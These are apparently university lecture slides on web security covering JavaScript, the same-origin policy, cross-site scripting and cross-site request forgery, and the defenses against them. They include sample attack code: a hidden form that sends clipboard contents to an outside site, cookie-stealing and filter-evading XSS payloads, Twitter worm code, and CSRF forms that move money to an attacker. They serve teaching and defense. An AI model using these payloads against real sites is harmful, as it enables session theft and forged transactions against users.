CSE 127
Computer Security

Fall 2015

Web Security II: Cross-site issues

Stefan Savage

Many slides courtesy Vitaly Shmatikov
The Web creates new problems

- Web sites are *programs*
  - Partially implemented in browser
    - Javascript, Java, Flash
  - Partially implemented in server
    - PHP, SQL, Ruby, ASP*, etc

Browser  

OS  

Hardware  

Website  

Network  

request  

reply
Web languages

- Most database and web scripting languages are also untyped

- Unforeseen user input allows attacker to side-step programmer intent
  - Server attacks: SQL injection
  - Browser attacks:
    - Cross-site scripting (XSS)
    - Cross-site request forwarding (CSRF)
Vulnerability Stats: Web is “Winning”

Majority of vulnerabilities now found in web software

Source: MITRE CVE trends
Web Attacker

- Controls malicious website (attacker.com)
  - Can even obtain SSL/TLS certificate for his site ($0)
- User visits attacker.com – why?
  - Phishing email, enticing content, search results, placed by ad network, blind luck ...
- Attacker has no other access to user machine!
- Variation: gadget attacker
  - Bad gadget included in otherwise honest mashup site (EvilMaps.com)
- Goal: manipulate user’s browser to violate security policy
Browser: Basic Execution Model

- Each browser window or frame:
  - Loads content
  - Renders
    - Processes HTML and scripts to display the page
    - May involve images, subframes, etc.
  - Responds to events

- Events
  - User actions: OnClick, OnMouseover
  - Rendering: OnLoad
  - Timing: setTimeout(), clearTimeout()
The script on this page adds two numbers:

```html
<html>
  ...
  <p>The script on this page adds two numbers</p>
  <script>
    var num1, num2, sum
    num1 = prompt("Enter first number")
    num2 = prompt("Enter second number")
    sum = parseInt(num1) + parseInt(num2)
    alert("Sum = " + sum)
  </script>
  ...
</html>
```
Event-Driven Script Execution

```<script type="text/javascript">
function whichButton(event) {
    if (event.button==1) {
        alert("You clicked the left mouse button!")
    } else {
        alert("You clicked the right mouse button!")
    }
}
</script>

...<body onmousedown="whichButton(event)">
...<body>
```

Script defines a page-specific function.

Function gets executed when some event happens.

Other events:
- onLoad
- onMouseMove
- onKeyPress
- onUnLoad
JavaScript

- Language executed by browser
  - Scripts are embedded in Web pages
  - Can run before HTML is loaded, before page is viewed, while it is being viewed or when leaving the page
- Used to implement “active” web pages
  - AJAX, huge number of Web-based applications
- Attacker gets to execute code on user’s machine
  - Often used to exploit other vulnerabilities
JavaScript History

- Developed by Brendan Eich at Netscape
  - Scripting language for Navigator 2
  - Designed and implemented in 10 days (literally)
- Later standardized for browser compatibility
  - ECMAScript Edition 3 (aka JavaScript 1.5)
- Related to Java in name only
  - Name was part of a marketing deal
  - “Java is to JavaScript as car is to carpet”
- Became the Web scripting language
  - Google Maps, Hotmail, Facebook, etc
JavaScript in Web Pages

- Embedded in HTML page as `<script>` element
  - JavaScript written directly inside `<script>` element
  - `<script> alert("Hello World!") </script>`
  - Linked file as `src` attribute of the `<script>` element
    `<script type="text/JavaScript" src="functions.js"></script>`

- Event handler attribute
  `<a href="http://www.yahoo.com" onmouseover="alert('hi');">`<a href="JavaScript: alert('You clicked');">Click me</a>`
JavaScript Security Model

- Script runs in a “sandbox”
  - No direct file access, restricted network access
- Same-origin policy
  - Can only read properties of documents and windows from the same server, protocol, and port
  - If the same server hosts unrelated sites, scripts from one site can access document properties on the other
- User can grant privileges to signed scripts
  - UniversalBrowserRead/Write, UniversalFileRead, UniversalSendMail
Library Import

- Same-origin policy does **not** apply to scripts loaded in enclosing frame from arbitrary site

  ```html
  <script type="text/javascript">
      src="http://www.example.com/scripts/somescript.js">
  </script>
  ```

- This script runs as if it were loaded from the site that provided the page!

- Note: server can also explicitly tell browser that other domains should be allowed via “Access-Control-Allow-Origin” header
Document Object Model (DOM)

- HTML page is structured data
- DOM provides representation of this hierarchy
- Examples
  - Properties: `document.alinkColor`, `document.URL`, `document.forms[]`, `document.links[]`, `document.anchors[]`, ...
  - Methods: `document.write(document.referrer)`
    - These change the content of the page!
- Also Browser Object Model (BOM)
  - `Window`, `Document`, `Frames[]`, `History`, `Location`, `Navigator` (type and version of browser)
Browser and Document Structure

The Document Object Model (DOM) is a programming interface for documents. It represents the hierarchical structure of a document, allowing programs and scripts to dynamically update the contents, structure and style of the document. The DOM is a platform- and language-neutral interface that can be added on top of any standard markup language, like HTML or XML.

The DOM consists of a tree structure containing all the objects representing HTML elements. Each element can have its own properties and methods, allowing for dynamic changes to the document. For example, the `document` object represents the entire document, while `window` is a global object representing the topmost window. `Frame` objects represent individual frames within an iframe, and `Navigator` objects provide information about the browser environment.

JavaScript is a powerful tool for manipulating the DOM. It allows developers to interact with the HTML elements on a webpage, changing their properties and methods programmatically. This enables dynamic content, such as changing text on the page or updating the page layout based on user interaction.

The DOM provides a way to access and modify the structure and content of web pages, making it a crucial tool for web developers.
Reading Properties with JavaScript

Sample script

1. document.getElementById('t1').nodeName
2. document.getElementById('t1').nodeValue
3. document.getElementById('t1').firstChild.nodeName
4. document.getElementById('t1').firstChild.firstChild.nodeName
5. document.getElementById('t1').firstChild.firstChild.nodeValue

- Example 1 returns "ul"
- Example 2 returns "null"
- Example 3 returns "li"
- Example 4 returns "text"
  - A text node below the "li" which holds the actual text data as its value
- Example 5 returns "Item 1"

Sample HTML

```
<ul id="t1">
  <li>Item 1</li>
</ul>
```
Page Manipulation with JavaScript

Some possibilities

- `createElement(elementName)`
- `createTextNode(text)`
- `appendChild(newChild)`
- `removeChild(node)`

Example: add a new list item

```javascript
var list = document.getElementById('t1')
var newitem = document.createElement('li')
var newtext = document.createTextNode(text)
list.appendChild(newitem)
newitem.appendChild(newtext)
```

Sample HTML

```html
<ul id="t1">
  <li>Item 1</li>
</ul>
```
Example: Stealing the Clipboard Contents

- Create hidden form, enter clipboard contents, post form

```html
<FORM name="hf" METHOD=POST ACTION="http://www.site.com/targetpage.php" style="display:none">
  <INPUT TYPE="text" NAME="topicID">
  <INPUT TYPE="submit">
</FORM>

<script language="javascript">
var content = clipboardData.getData("Text");
document.forms["hf"].elements["topicID"].value = content;
document.forms["hf"].submit();
</script>
```
Frame and iFrame

- Window may contain frames from different sources
  - Frame: rigid division as part of frameset
  - iFrame: floating inline frame

```html
<IFRAME SRC="hello.html" WIDTH=450 HEIGHT=100>
If you can see this, your browser doesn't understand IFRAME.
</IFRAME>
```

- Why use frames?
  - Delegate screen area to content from another source
  - Browser provides isolation based on frames
  - Parent may work even if frame is broken
Remote Scripting

- **Goal:** exchange data between client-side app in a browser and server-side app (w/o reloading page)

- **Methods**
  - **Java applet or ActiveX control or Flash**
    - Can make HTTP requests and interact with client-side JavaScript code, but requires LiveConnect (not available on all browsers)
  - **XML-RPC**
    - Open, standards-based technology that requires XML-RPC libraries on your server and in client-side code
  - **Simple HTTP via a hidden IFRAME**
    - IFRAME with a script on your web server (or database of static HTML files) is by far the easiest remote scripting option

Remote Scripting Example

client.html: pass arguments to server.html

```html
<script type="text/javascript">
function handleResponse() { alert('this function is called from server.html') }
</script>
<iframe id="RSIFrame" name="RSIFrame"
    style="width:0px; height:0px; border: 0px"
    src="blank.html">
</iframe>
<a href="server.html" target="RSIFrame">make RPC call</a>
```

server.html: could be PHP app, anything

```html
<script type="text/javascript">
    window.parent.handleResponse()
</script>
```

RPC (remote procedure calls) can be done silently in JavaScript, passing and receiving arguments
Port Scanning Behind Firewall

- Request images from internal IP addresses
  - Example: `<img src="192.168.0.4:8080"/>
- Use timeout/onError to determine success/failure
- Fingerprint web apps using known image names
Cross site scripting

- Similar problem to SQL injection
  - Weak Web page construction accepts a script as input and then sends it to clients

- Two modes for use
  - Script embedded in URL that user visits
  - Script loaded into stored procedure accessed by all clients

- Script then runs on client and does evil stuff
  - E.g., steals/uses user’s cookie to access some site
Quick aside: cookies

- We use SSL certs to authenticate remote sites
- We use per-site logins (over SSL) to authenticate ourselves
- We don’t want to reauthenticate after every click...
- Solution: cookies
  - Once you authenticate yourself to site (via login), site provides a semi-random string (cookie) that is included with future clicks – establishes id for some period of time
Cross site scripting: Basic Pattern

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. send valuable data

User victim

Attack server

Server victim
Example: echoing User Input

- Classic mistake in a server-side application


search.php responds with
<html> <title>Search results</title> <body>You have searched for <?=php echo$_GET[term]?>… </body>

Or

GET/ hello.cgi?name=Bob
hello.cgi responds with
<html>Welcome, Bob</html>
XSS: Cross-Site Scripting

Evil.com

- Access some web page
- Forces victim’s browser to call hello.cgi on naive.com with this script as “name”

Victim’s browser

</script>>

- Interpreted as Javascript by victim’s browser; opens window and calls steal.cgi on evil.com

Naive.com

- hello.cgi
- Executed

For example, Convince user to click on URL to evil.com

E.g., Convince user to click on URL to evil.com
So What?

- Why would user click on such a link?
  - Phishing email in webmail client (e.g., Gmail)
  - Link in DoubleClick banner ad
  - bit.ly/xxxx on twitter
  - ... many many ways to fool user into clicking

- So what if evil.com gets cookie for naive.com?
  - Cookie can include session authenticator for naive.com
    - Or other data intended only for naive.com
  - Violates the “intent” of the same-origin policy
Stored script example:
Attacker registers account

Online Application

Personal Information

* First Name: Joe
* Middle Initial: p
* Last Name: Hacker
* Social Security Number: 555-555-5555
* Birth Date: 1985-11-11
* Mother’s Maiden Name: Foo
* Address: <script>alert(document.cookie)</script>

Appartment/Room Number: 123
* City: Hackville
* State: (Please Select State)
* Zip Code: 90210
Telephone Number: 555-555-5555
* Email: foo@foo.com
Occupation: Criminal
Annual Income: 1500000
Stored script example:
Attacker registers account

Dear Joe,

Thank you.
Your loan request has been registered.
Please save the following confirmation number for your records.

C1005658293

A loan officer will contact you within the next 48 hours.
For further assistance you can reach us at 1-800-GET-LOAN.

Malformed Loan Request was successfully processed.
Stored script example:
Administrator selects account
Stored script example: Administrator selects account

Unvalidated Input and resulted in a Cross-Site Scripting Attack and the theft of the Administrator’s Cookie
Other XSS Risks

- XSS is a form of “reflection attack”
  - User is tricked into visiting a badly written website
  - A bug in website code causes it to display and the user’s browser to execute an arbitrary attack script

- Can change contents of the affected website by manipulating DOM components
  - Show bogus information, request sensitive data
  - Control form fields on this page and linked pages
    - For example, MySpace.com phishing attack injected password field that sends password to bad guy

- Can cause user’s browser to attack other websites
Where Malicious Scripts Lurk

- Hidden in user-created content
  - Social sites, blogs, forums, wikis

- When visitor loads the page, webserver displays the content and visitor’s browser executes script
  - Many sites try to filter out scripts from user content, but this is difficult

- Another reflection trick
  - Some websites parse input from URL
    http://cnn.com/login?URI="&gt;&gt;\<script\>AttackScript\</script\>
  - Use phishing email to drive users to this URL
Other Sources of Malicious Scripts

- Scripts embedded in webpages
  - Same-origin policy doesn’t prohibit embedding of third-party scripts
  - Ad servers, mashups, etc.
- "Bookmarklets"
  - Bookmarked JavaScript URL
    javascript:alert("Welcome to paradise!")
  - Runs in the context of current loaded page
MySpace Worm (1)

- Users can post HTML on their MySpace pages.
- MySpace does not allow scripts in users’ HTML:
  - No `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
  - … but does allow in `<div>` tags:
    - `<div style="background:url(javascript:alert(1))">`
- But MySpace will strip out “javascript”:
  - Use “java<NEWLINE>script” instead.
- But MySpace will strip out quotes:
  - Convert from decimal instead:
    `alert('double quote: ' + String.fromCharCode(34))`
MySpace Worm (2)

- “There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of...interest. It was interesting and fun!”

- Started on “samy” MySpace page

- Everybody who visits an infected page, becomes infected and adds “samy” as a friend and hero

- 5 hours later “samy” has 1,005,831 friends
  - Was adding 1,000 friends per second at its peak

http://namb.la/popular/tech.html
Twitter Worm (2009)

- Can save URL-encoded data into Twitter profile
- Data **not** escaped when profile is displayed
- Result: StalkDaily XSS exploit
  - If you view an infected profile, script infects your own

```javascript
var update = urllencode("Hey everyone, join www.StalkDaily.com. It's a site like Twitter but with pictures, videos, and so much more! ");
var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token="+authtoken+"&status="+update+"&tab=home&update=update");
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update")
```
Preventing Cross-Site Scripting

- Key problem: rendering raw HTML from user input
- Preventing injection of scripts into HTML is hard!
  - Blocking “<” and “>” is not enough
  - Event handlers, stylesheets, encoded inputs (%3C), etc.
  - phpBB allowed simple HTML tags like <b>
    `<b c="">` onmouseover="script" x="<b">Hello<b>`
- Any user input **must** be preprocessed before it is used inside HTML
  - In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes
    - `` becomes &\#039;  " becomes &quot;  & becomes &amp;
ASP.NET: validateRequest

- Crashes page if finds <script> in POST data
- Looks for hardcoded list of patterns
- Can be disabled
  - `<%@ Page validateRequest="false" %>`
Partial fix: httpOnly Cookies (IE)

- Cookie sent over HTTP(S), but cannot be accessed by script via document.cookie
- Prevents cookie theft via XSS
- Does not stop most other XSS attacks!
Cross site Request Forgery

- Related problem
  - Attacker creates link that implements commands to be sent to a site to which the victim is thought to have already authenticated
  - Example:
    - http://www.bank.com/withdraw?account=savage&amount=1000
  - Link is either sent in e-mail or embedded on public Web sites (e.g. blogs, myspace, etc)
XSRF: Cross-Site Request Forgery

- Same browser runs a script from a “good” site and a malicious script from a “bad” site
  - How could this happen?
  - Requests to “good” site are authenticated by cookies
- Malicious script can make forged requests to “good” site with user’s cookie
  - Netflix: change acct settings, Gmail: steal contacts
  - Potential for much bigger damage (again, think banking)
XSRF (aka CSRF): Basic Idea

1. Establish session
2. Visit server
3. Receive malicious page
4. Send forged request

Q: how long do you stay logged on to Gmail?
Cookie Authentication: Not Enough!

- Users logs into bank.com, forgets to sign off
  - Session cookie remains in browser state
- User then visits a malicious website containing
  ```html
  <form name=BillPayForm action=http://bank.com/BillPay.php>
  <input name=recipient value=badguy> ...
  <script> document.BillPayForm.submit(); </script>
  ```
- Browser sends cookie, payment request fulfilled!
- **Lesson**: cookie authentication is not sufficient when side effects can happen
XSRF in More Detail

GET /blog HTTP/1.1

POST /transfer HTTP/1.1
Referer: http://www.attacker.com/blog
recipient=attacker&amount=$100

<form action=https://www.bank.com/transfer
method=POST target=invisibleframe>
<input name=recipient value=attacker>
<input name=amount value=$100>
</form>
<script>document.forms[0].submit();</script>

HTTP/1.1 200 OK
Transfer complete!
Login XSRF

GET /blog HTTP/1.1
<form action=https://www.google.com/login method=POST target=invisibleframe>
  <input name=username value=attacker>
  <input name=password value=xyzzy>
</form>
<script>document.forms[0].submit();</script>
POST /login HTTP/1.1
  Referer: http://www.attacker.com/blog
  username=attacker&password=xyzzy
HTTP/1.1 200 OK
  Set-Cookie: SessionID=ZA1Fa34
GET /search?q=llamas HTTP/1.1
  Cookie: SessionID=ZA1Fa34
Inline Gadgets
Using Login XSRF for XSS

GET /blog HTTP/1.1

POST /login HTTP/1.1
Referer: http://www.attacker.com/blog
username=attacker&password=xyzzy

HTTP/1.1 200 OK
Set-Cookie: SessionID=ZA1Fa34

GET /ig
Cookie: SessionID=ZA1Fa34

HTTP/1.1 200 OK

GET /history HTTP/1.1

<form action=https://www.google.com/login method=POST target=invisibleframe>
<input name=username value=attacker>
<input name=password value=xyzzy>
</form>
<script>document.forms[0].submit();</script>

<script>
location.href = “http://www.google.com/ig”;
</script>
XSRF vs. XSS

- **Cross-site scripting**
  - User trusts a badly implemented website
  - Attacker injects a script into the trusted website
  - User’s browser executes attacker’s script

- **Cross-site request forgery**
  - A badly implemented website trusts the user
  - Attacker tricks user’s browser into issuing requests
  - Website executes attacker’s requests
XSRF Defenses

- Secret validation token
  
  \[
  \text{<input type=hidden value=23a3af01b>}
  \]

- Referer validation
  
  Referer:
  http://www.facebook.com/home.php

- Custom HTTP header
  
  X-Requested-By: XMLHttpRequest
Secret, Random Validation Token

- Hash of user ID
  - Can be forged by attacker

- Session ID
  - If attacker has access to HTML of the Web page (XSS), can learn session ID and hijack the session

- Need to bind session ID to the token
  - CSRFx, CSRFGuard - Manage state table at the server
  - HMAC (keyed hash) of session ID – no extra state!
NoForge

- Binds token to session ID using server-side state
- Requires a session before token is validated
  - Does not defend against login XSRF
- Parses HTML and appends token to hyperlinks
  - Does not distinguish between hyperlinks back to the application and external hyperlinks
  - Remote site gets user’s XSRF token, can attack referer
- ... except for dynamically created HTML (why?)
  - Gmail, Flickr, Digg use JavaScript to generate forms that need XSRF protection
Referer Validation

- **Lenient** referer checking – header is optional
- **Strict** referer checking – header is required

**Valid Referer:**
http://www.facebook.com/home.php

**Invalid Referer:**
http://www.evil.com/attack.html

**Questionable Referer:**

For your security, never enter your Facebook password on sites not located on Facebook.com.
Why Not Always Strict Checking?

- Reasons to suppress referer header
  - Network stripping by the organization
  - Network stripping by local machine
  - Stripped by browser for HTTPS → HTTP transitions
  - User preference in browser
  - Buggy user agents (i.e., browsers)

- Web applications can’t afford to block these users

- Feasible over HTTPS (header rarely suppressed)
  - Logins typically use HTTPS – helps against login XSRF!
XSRF with Lenient Referer Checking

http://www.attacker.com

redirects to

common browsers don’t send referer header

ftp://www.attacker.com/index.html
javascript:"<script> /* CSRF */ </script>"
data:text/html,<script> /* CSRF */ </script>
“Ideal” XSRF Defense

- Does not break existing sites
- Easy to use
- Allows legitimate cross-site requests
- Reveals minimum amount of information
- No secrets to leak
- Standardized
Origin Header

- Add origin header to each POST request
  - Identifies only the principal that initiated the request (scheme, host, port of active document’s URL)
  - Does not identify path or query (unlike referer header)
- No need to manage secret token state
- Simple firewall rule for subdomains, affiliates
  
  ```
  SecRule REQUEST_HEADERS:Host !^www\.example\.com(:\d+)?$ deny,status:403
  SecRule REQUEST_METHOD ^POST$ chain,deny,status:403
  SecRule REQUEST_HEADERS:Origin !(https?://www\.example\.com(:\d+)?$)
  ```
- Supported by XHR2, JSONRequest, in IE8’s XDomainRequest
Summary of Std Web Attacks

- **SQL injection**
  - Bad input checking allows malicious SQL query
  - Known defenses address problem effectively

- **XSS (CSS) – cross-site scripting**
  - Problem stems from echoing untrusted input
  - Difficult to prevent: requires care, testing, tools, ...

- **XSRF (CSRF) – cross-site request forgery**
  - Forged request leveraging ongoing session
  - Can be prevented (if XSS problems fixed)
Next time

- Next time:
  - Ok, so what does a compromised machine do?
  - Malware I: viruses and worms